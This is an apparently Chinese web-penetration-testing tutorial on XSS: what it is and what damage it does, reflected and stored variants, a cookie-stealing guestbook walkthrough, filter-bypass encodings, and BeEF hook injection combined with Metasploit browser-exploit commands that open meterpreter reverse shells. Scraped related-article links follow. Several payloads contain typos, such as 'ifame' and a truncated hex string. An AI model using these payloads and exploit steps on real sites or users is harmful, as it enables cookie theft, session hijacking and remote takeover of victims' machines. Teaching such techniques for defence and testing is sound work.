Web渗透测试(xss漏洞)
Xss介绍——
XSS (cross-site script) 跨站脚本自1996年诞生以来,一直被OWASP(open web application security project) 评为十大安全漏洞中的第二威胁漏洞。也有黑客把XSS当做新型的“缓冲区溢出攻击”而JavaScript是新型的shellcode。2011年6月份,新浪微博爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。
由于web应用程序对用户的输入过滤不严产生的。攻击者利用网站漏把恶意的脚本代码注入到网页中,当用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。
危害——
网络钓鱼,包括盗取各类的用户账号
窃取用户cookie
窃取用户浏览请回话
强制弹出广告页面、刷流量
网页挂马
提升用户权限,进一步渗透网站
传播跨站脚本蠕虫等等
Xss脚本示例——
<html>
<head >xsx test </head >
<body>
<script>alert(“xss”)</script >
</body>
</html>
这段代码使用alert函数来执行打开一个消息框,消息框中显示xss信息,使用xss弹出恶意警告框,代码为:
escript>alert(“xss") </script>
XSS输入也可能是htm代码段,如果使网页不停的刷新,代码为
<meta http-equiv=”refresh” content ="0;” >
嵌入其他网站链接的代码为:
< ifame src http://xxxxx.com width =0 height =0> </ifame>
Xss分类——
反射型xss(一次性)
存储型xss(持久有效)
反射型:
反射型XSS脚本也称作非持久型、参数型跨站脚本、这类型的脚本是最常见的也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中
如:http://www.xx.com/search.php.?key="><script>alert("xss")</script>一般使用的将构造好的URL发给受害者,是受害者点击触发,而且只执行一次。

存储型:
存储型XSS比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。此类XSS不需要用户点击特定的URL就能执行脚本,攻击者事先将恶意JavaScript代码上传或存储到有漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。

Xss常用工具——(火狐插件)
Hackebar
Live http headers
Editor cookie
Live HTTP Headers:
该工具可以用来抓取http/https的数据连接( 包括get 和post),获取web应用程序流出的流入的数据。我们可以利用该工具发掘web应用程序中的安全漏洞。
Editor cookie:
Cookie信息修改器
示例:
留言板盗取cookie信息

当管理审核后,弹出及有xss漏洞

去注册一个免费xss平台,然后创建一个项目,查看代码,复制到留言板上

然后xss免费平台就会返回内容

这个就是网站管理员cookie

绕过xss限制的几种办法
magic_quote_gpc
HEX编码
改变大小写
关闭标签
绕过magic_quote_gpc:
magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单
引号)转换为\’,”(双引号)号转换为\”, \转换为\\。
比如<script> alert(“xss”);</script>会转换为<script> alert(\”xss\”);</script>,这样XSS就不生效了。针对开启了magic quotes_gpc的网站,可以通过javascript中的String.fromCharCode方法来绕过,可以把alert(“XSS")转换为String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那么XSS语句就变成了<script>String.fromCharCode(108,101,114,116,40,34,88,83,83,34.,41,59) </script>String.fromCharCode()是javascri中的字符申方法,用来 把ASCI转换为字符审。
HEX编码:
可以对语句进行hex编码来绕过XSS规则。
比如: <script> alert("xss");</script >
可以转换为:
%3c%73%63%72%69%70%74%61%6c965%72%74%28%22%783%73%22%29%3b%3c%2f%73%6
在线网站:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
改变大小写:
在测试过程中,我们可以改变测试语句的大小来绕过xss规则,如<script> alert("xss");</script >可以转换为<ScRipt> Alert("Xss");</sCripT >
关闭标签:
<body><script> alert(“xss”);</script> < >
XSS+Beef的使用
示例1:利用beef劫持客户端浏览器
启动beef(用户名beef,密码beef)

<script src="http://自己管理的服务器ip:3000/hook.js"></script>(把这恶意代码上传到有xss漏洞的网站)

当有人访问这个网站的时候,恶意代码生效,我们返回本机beef控制台查看上线客户机

然后劫持浏览器

示例2.利用beef+msf拿用户shell(基于客户端ie6)
先劫持浏览器,然后启动msf
msf > use exploit/windows/browser/ms10_002_aurora(选择漏洞模块)
msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(选择回链)
msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156(客户机访问的地址)
msf exploit(ms10_002_aurora) > set SRVPORT 7777(客户机访问的端口)
msf exploit(ms10_002_aurora) > set URIPATH /(网页的根/)
msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100(客户机回链,写自己的地址)
msf exploit(ms10_002_aurora) > set LPORT 4444(回链端口)
msf exploit(ms10_002_aurora) > exploit (开始攻击)
把msf生成的那个连接扔beef去,让客户端访问指定的网站就会触发这个漏洞,就可以拿到客户端权限。



回车》键入sessions -i 》sessions -i 1》shell(成功拿到客户端权限)

示例3.利用beef+msf拿用户shell(基于客户端使用ie789)
先劫持浏览器
msf > use exploit/windows/browser/ie_execcommand_uaf
msf exploit(ie_execcommand_uaf) > show options
msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156
msf exploit(ie_execcommand_uaf) > set SRVPORT 8888
msf exploit(ie_execcommand_uaf) > set URIPATH /
msf exploit(ie_execcommand_uaf) > exploit

然后把生成的这个连接扔beef里,让客户端访问,msf就有返回回链会话,就可以拿到客户端权限了
Xss漏洞扫描与留长期后门——
常用工具:
Wvs
Safe3
W3af
Vega
Xss扫描插件+burp(去下载扫描插件在导入就可以)

Web渗透测试(xss漏洞)的更多相关文章
- Web渗透测试漏洞手册及修复建议
Web渗透测试漏洞手册及修复建议 0x0 配置管理 0x01 HTTP方法测试 漏洞介绍: 目标服务器启用了不安全的传输方法,如PUT.DELETE等,这些方法表示可能在服务器上使用了 WebDAV, ...
- 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细
常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...
- 反向代理在Web渗透测试中的运用
在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...
- KALI LINUX WEB 渗透测试视频教程—第16课 BEEF基本使用
Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用............... ...
- Kali Linux Web 渗透测试— 第十二课-websploit
Kali Linux Web 渗透测试— 第十二课-websploit 文/玄魂 目录 Kali Linux Web 渗透测试— 第十二课-websploit..................... ...
- Kali Linux Web 渗透测试视频教程— 第二课 google hack 实战
Kali Linux Web 渗透测试— 第二课 代理简介 文/玄魂 课程地址: http://edu.51cto.com/course/course_id-1887.html 目录 shellKal ...
- Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter
Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...
- KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础
原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...
- Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击
Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
随机推荐
- Python Twisted系列教程16:Twisted 进程守护
作者:dave@http://krondo.com/twisted-daemonologie/ 译者: Cheng Luo 你可以从”第一部分 Twist理论基础“开始阅读:也可以从”Twisted ...
- Python技巧(一)
一 if..else的多种写法 a, b, c = 1, 2, 3 1.常规 if a > b: c = a else: c = b 2.表达式 c = a if a > b else ...
- ndarray的创建与数据类型
ndarray 多维数组(N Dimension Array) NumPy数组是一个多维的数组对象(矩阵),称为ndarray,具有矢量算术运算能力和复杂的广播能力,并具有执行速度快和节省空间的特点. ...
- 使用GY89的BMP180模块获取温度和压强(海拔)
最近要用一下GY89,GY89有三个模块,温度压强.加速度计.陀螺仪.通过不同的片选信号来选择. mbed库上都写好了,挺好的. 以下是自己的代码: #include "mbed.h&quo ...
- axis1.4 发布webservice的问题
用axis1.4 发布webservice的问题 The service class "org.gdt.sgcda.wf.impl.DefinitionManageServiceImpl&q ...
- The centos disc was not found in any of your drives.Please insert the centos disc and press OK to retry
查看虚拟机设置中关于CDROM的选项,将CDROM的状态改为已连接,不要奇怪,勾选上之后再按下OK就好了
- JDK的安装和环境配置
安装环境:网上下载的JDK一般都包含JRE在里面,安装JDK完成后会提示接着装JRE,如果没提示再去下载另装如:jdk_8u101_windows_x64_8.0.1010.13 配置环境:新建系统变 ...
- SQL Server 触发器触发器
内容摘抄自http://www.cnblogs.com/hoojo/archive/2011/07/20/2111316.html,只供自己笔记使用 触发器是一种特殊类型的存储过程,它不同于之前的我们 ...
- selenium3加载浏览器
浏览器禁用更新: 因为selenium对浏览器的支持是有限制的.当浏览器更新到最新版本时,需要下载支持最新版本的插件.有时候selenium还没有更新到支持最新版本的插件,但本地已经更新到最新版本了. ...
- shell 别名alias
在这说下 shell 命令 alias 别名 看个人爱好 设置. 直接执行命令 显示当前所有别名 alias 别名='新的别名' 该命令在当窗口关闭以后 会失效 想要永久生效 需要在 ...